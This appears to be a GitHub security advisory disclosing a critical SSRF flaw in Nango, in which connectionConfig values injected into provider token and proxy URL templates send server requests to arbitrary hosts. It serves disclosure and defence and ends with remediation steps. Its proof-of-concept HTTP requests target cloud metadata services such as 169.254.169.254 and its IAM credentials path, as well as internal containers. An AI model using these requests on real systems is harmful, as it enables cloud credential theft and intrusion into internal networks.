Skip to content

SSRF via connectionConfig template injection in token and proxy URLs

Critical
rossmcewan published GHSA-hgjm-c252-ccxx Aug 26, 2026

Package

nangohq/nango

Affected versions

All versions through v0.70.4 (confirmed on commit 7be406712027a7501a9a8f2e3f7385c3cf2b2131)

Patched versions

None

Description

Summary

Nango interpolates user-controlled connectionConfig values directly into provider token_url and proxy.base_url templates without validating the resulting URL. An authenticated attacker (any holder of a public API key, connect session token, or secret key) can supply a malicious hostname through ?params[<key>]=<attacker-host> query parameters or through stored connection_config fields, forcing the Nango server to issue outbound HTTP requests to arbitrary addresses including cloud instance metadata services and internal network hosts.

Three distinct attack vectors share the same root cause: no SSRF protection is applied to URLs after connectionConfig interpolation. The vulnerability affects more than 40 providers and reaches the Nango server in OAuth2 client-credentials flows, two-step auth flows, and standard proxy requests.

Details

Root cause

The ?params query parameter and the connection_config request body field are parsed without value validation. getConnectionConfig accepts any string value:

// packages/shared/lib/utils/utils.ts:513
export function getConnectionConfig(queryParams: any): Record<string, string> {
    const arr = Object.entries(queryParams).filter(([, v]) => typeof v === 'string');
    return Object.fromEntries(arr) as Record<string, string>;
}

POST /connections validates connection_config with z.looseObject, which accepts any key-value pair:

// packages/server/lib/controllers/connection/postConnection.ts:39
connection_config: z
    .looseObject({
        oauth_scopes_override: z.string().array().optional()
    })
    .optional(),

The pattern constraints declared in providers.yaml under connection_config (e.g., "pattern": "^events\\.1password\\.(com|ca|eu)$") are not enforced server-side -- they appear only in the Connect UI form.

The resulting values are interpolated directly into provider URL templates and the result is passed to fetch/axios with no SSRF protection, no IP allowlist/denylist, no private-range blocking, and no hostname validation:

// packages/shared/lib/services/connection.service.ts:1212
const strippedTokenUrl = typeof provider.token_url === 'string'
    ? provider.token_url.replace(/connectionConfig\./g, '') : '';
const url = new URL(interpolateString(strippedTokenUrl, connectionConfig));
// ...
const fetchRes = await loggedFetch<Record<string, any>>(
    { url, method: 'POST', headers, body, agent },
    { ... }
);
// packages/shared/lib/services/proxy/utils.ts
const templateApiBase = interpolateString(provider.proxy.base_url, { connectionConfig });
const url = config.baseUrlOverride || templateApiBase;

Affected providers

More than 40 providers use ${connectionConfig.*} in their token_url or proxy.base_url. A non-exhaustive list:

Provider Template Auth mode
1password-users https://${connectionConfig.domain}/v1beta1/users/oauth2/token OAUTH2_CC
1password-events https://${connectionConfig.domain} (proxy) OAUTH2
3cx https://${connectionConfig.domain}/connect/token TWO_STEP
accelo https://${connectionConfig.subdomain}.api.accelo.com/oauth2/v0/token OAUTH2
adobe-workfront https://${connectionConfig.hostname}/attask/api (proxy) OAUTH2
auth0 https://${connectionConfig.subdomain}.auth0.com/oauth/token OAUTH2
auth0-cc proxy + token via connectionConfig.subdomain OAUTH2_CC
bamboohr https://${connectionConfig.subdomain}.bamboohr.com/token.php OAUTH2
canvas-lms https://${connectionConfig.hostname} (proxy) OAUTH2
sentry-oauth connectionConfig-derived proxy OAUTH2
... 30+ more

The OAUTH2_CC and TWO_STEP modes are most dangerous because they complete the token exchange server-side without any user browser redirect.

PoC

Prerequisites for all three vectors:

  • A Nango instance (self-hosted on default docker-compose, or cloud)
  • A valid Nango credential (public API key, connect session token, or secret key, depending on vector)
  • An existing integration using one of the affected providers

Vector 1 -- OAUTH2_CC token URL injection via ?params

No stored connection or browser redirect required. The token exchange is fully server-side.

POST /oauth2/auth/my-1password-integration?public_key=pk_live_xxx&params[domain]=169.254.169.254 HTTP/1.1
Host: <nango-host>:3003
Content-Type: application/json

{"client_id": "dummy", "client_secret": "dummy"}

What Nango's server does:

  1. getConnectionConfig({ domain: "169.254.169.254" }) -> { domain: "169.254.169.254" }
  2. provider.token_url = "https://${connectionConfig.domain}/v1beta1/users/oauth2/token"
  3. After replace(/connectionConfig\./g, ''): "https://${domain}/v1beta1/users/oauth2/token"
  4. interpolateString(...) -> "https://169.254.169.254/v1beta1/users/oauth2/token"
  5. fetch("https://169.254.169.254/v1beta1/users/oauth2/token", { method: "POST", ... })

The Nango server issues a POST to the AWS/GCP instance metadata service. The Authorization: Basic <base64(client_id:client_secret)> header is also sent to the attacker-controlled host, leaking those credentials in addition to enabling SSRF.

Vector 2 -- TWO_STEP token URL injection

The 3cx provider and other TWO_STEP providers follow the same pattern but use a different endpoint. The token exchange uses axios.post(url.toString(), ...) with no SSRF protection.

POST /auth/two-step/my-3cx?public_key=pk_live_xxx&params[domain]=169.254.169.254 HTTP/1.1
Host: <nango-host>:3003
Content-Type: application/json

{"credentials": {"clientId": "x", "clientSecret": "x"}}

Vector 3 -- Stored connectionConfig proxy base URL

For any provider with ${connectionConfig.hostname} or ${connectionConfig.domain} in proxy.base_url:

Step 1 -- Create a connection with a malicious hostname:

POST /connections HTTP/1.1
Host: <nango-host>:3003
Authorization: Bearer <secret-key>
Content-Type: application/json

{
  "provider_config_key": "canvas-test",
  "connection_id": "ssrf-conn",
  "connection_config": { "hostname": "169.254.169.254" },
  "credentials": { "type": "OAUTH2", "access_token": "dummy" }
}

The server stores the connection without validating the hostname value:

{
  "connection_id": "ssrf-conn",
  "connection_config": { "hostname": "169.254.169.254" },
  "credentials": { "type": "OAUTH2", "access_token": "dummy" }
}

Step 2 -- Issue a proxy request through the connection:

GET /proxy/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: <nango-host>:3003
Authorization: Bearer <secret-key>
provider-config-key: canvas-test
connection-id: ssrf-conn

Nango resolves ${connectionConfig.hostname} to 169.254.169.254 and issues GET https://169.254.169.254/latest/meta-data/iam/security-credentials/.

Step 3 -- Confirmation against the internal Docker network. Setting connection_config: { "hostname": "nango-db" } and issuing any proxy request returns:

{
  "message": "connect ECONNREFUSED 172.28.0.2:443",
  "code": "ECONNREFUSED",
  "url": "https://nango-db/api/v1/courses",
  "method": "get"
}

The ECONNREFUSED and exposed internal IP 172.28.0.2 confirm the Nango server attempted a TLS connection to the internal PostgreSQL container.

Tested against: Nango v0.70.4, docker-compose self-hosted, commit 7be4067.

Impact

An attacker holding any Nango credential -- public API key, connect session token, or secret key obtained through environment variable leak, source code exposure, compromised backend service, or insider access -- can:

  • Steal cloud credentials. Read AWS (169.254.169.254), GCP (metadata.google.internal), and Azure instance metadata services, obtaining IAM role credentials with potentially elevated cloud permissions.
  • Map and reach internal services. Contact any service on the private network co-located with the Nango server: internal databases, message brokers, admin interfaces, Kubernetes API servers, and other microservices that trust traffic from the Nango host.
  • Leak OAuth client credentials. In OAUTH2_CC flows, the Authorization: Basic <base64(client_id:client_secret)> header is sent to the attacker-controlled host, exfiltrating those credentials in addition to enabling SSRF.
  • Send arbitrary HTTP requests (including POST with body, attacker-controlled path, and headers) to internal services from the trusted Nango host.

Vector 1 (OAUTH2_CC) is the highest severity because it requires only a public API key -- available on Nango's free tier -- and completes server-side with no browser redirect. Vector 3 affects both self-hosted and cloud deployments.

Suggested Remediation

  1. Validate connectionConfig values after URL interpolation. Reject any resolved URL whose hostname is a private, loopback, or link-local address:

    const url = new URL(interpolateString(strippedTokenUrl, connectionConfig));
    if (isPrivateAddress(url.hostname)) {
        throw new NangoError('invalid_token_url');
    }

    The same check must be applied to proxy.base_url after interpolation in packages/shared/lib/services/proxy/utils.ts.

  2. Use a blocking HTTP agent at the socket level for token exchange and proxy requests. Block RFC 1918 ranges (10/8, 172.16/12, 192.168/16), loopback (127/8, ::1), and link-local (169.254/16, fe80::/10) on actual resolved IPs to defeat DNS rebinding.

  3. Enforce provider pattern constraints server-side. The pattern fields in providers.yaml under connection_config (e.g., ^events\.1password\.(com|ca|eu)$) should be enforced in postConnection.ts and getConnectionConfig, not only in the Connect UI form. Replace z.looseObject with strict per-provider schemas derived from providers.yaml.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

CVE ID

No known CVE

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits